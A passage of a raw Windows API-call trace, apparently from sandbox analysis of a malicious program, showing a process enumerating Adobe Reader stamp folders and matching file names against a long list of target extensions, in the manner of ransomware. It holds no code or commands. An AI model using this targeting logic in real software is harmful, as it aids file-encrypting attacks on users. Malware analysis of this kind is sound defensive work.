lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".3gp") returned 4 [0048.144] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0048.144] lstrlenW (lpString=".7z") returned 3 [0048.144] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0048.144] lstrlenW (lpString=".accda") returned 6 [0048.145] lstrcmpiW (lpString1=".accda", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".accdb") returned 6 [0048.145] lstrcmpiW (lpString1=".accdb", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".accdc") returned 6 [0048.145] lstrcmpiW (lpString1=".accdc", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".accde") returned 6 [0048.145] lstrcmpiW (lpString1=".accde", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".accdt") returned 6 [0048.145] lstrcmpiW (lpString1=".accdt", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".accdw") returned 6 [0048.145] lstrcmpiW (lpString1=".accdw", lpString2="ko.pdf") returned -1 [0048.145] lstrlenW (lpString=".adb") returned 4 [0048.145] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".adp") returned 4 [0048.145] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai") returned 3 [0048.145] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0048.145] lstrlenW (lpString=".ai3") returned 4 [0048.145] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai4") returned 4 [0048.145] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai5") returned 4 [0048.145] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai6") returned 4 [0048.145] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai7") returned 4 [0048.145] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0048.145] lstrlenW (lpString=".ai8") returned 4 [0048.145] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".anim") returned 5 [0048.146] lstrcmpiW (lpString1=".anim", lpString2="o.pdf") returned -1 [0048.146] lstrlenW (lpString=".arw") returned 4 [0048.146] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".as") returned 3 [0048.146] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0048.146] lstrlenW (lpString=".asa") returned 4 [0048.146] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".asc") returned 4 [0048.146] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".ascx") returned 5 [0048.146] lstrcmpiW (lpString1=".ascx", lpString2="o.pdf") returned -1 [0048.146] lstrlenW (lpString=".asm") returned 4 [0048.146] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".asmx") returned 5 [0048.146] lstrcmpiW (lpString1=".asmx", lpString2="o.pdf") returned -1 [0048.146] lstrlenW (lpString=".asp") returned 4 [0048.146] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".aspx") returned 5 [0048.146] lstrcmpiW (lpString1=".aspx", lpString2="o.pdf") returned -1 [0048.146] lstrlenW (lpString=".asr") returned 4 [0048.146] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".asx") returned 4 [0048.146] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".avi") returned 4 [0048.146] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".avs") returned 4 [0048.146] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0048.146] lstrlenW (lpString=".backup") returned 7 [0048.146] lstrcmpiW (lpString1=".backup", lpString2="nko.pdf") returned -1 [0048.146] lstrlenW (lpString=".bak") returned 4 [0048.146] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1 [0048.147] lstrlenW (lpString=".bay") returned 4 [0048.147] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1 [0048.147] lstrlenW (lpString=".bd") returned 3 [0048.147] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1 [0048.147] lstrlenW (lpString=".bin") returned 4 [0048.147] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1 [0048.147] lstrlenW (lpString=".bmp") returned 4 [0048.147] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1 [0048.147] lstrlenW (lpString=".bz2") returned 4 [0048.147] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1 [0048.147] lstrlenW (lpString=".c") returned 2 [0048.147] lstrcmpiW (lpString1=".c", lpString2="df") returned -1 [0048.147] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.147] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.147] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0048.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.148] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.148] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.148] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.149] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.149] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0048.149] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.149] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.149] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.149] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.149] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.150] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0048.150] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.150] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.150] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.150] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.150] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.150] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0048.150] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.150] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.150] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.151] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.151] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0048.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.151] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.151] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.151] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.151] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0048.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.152] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.152] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.152] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.153] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0048.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.153] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.153] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.153] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.154] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0048.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.154] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.154] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.155] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.155] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.155] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0048.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.156] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 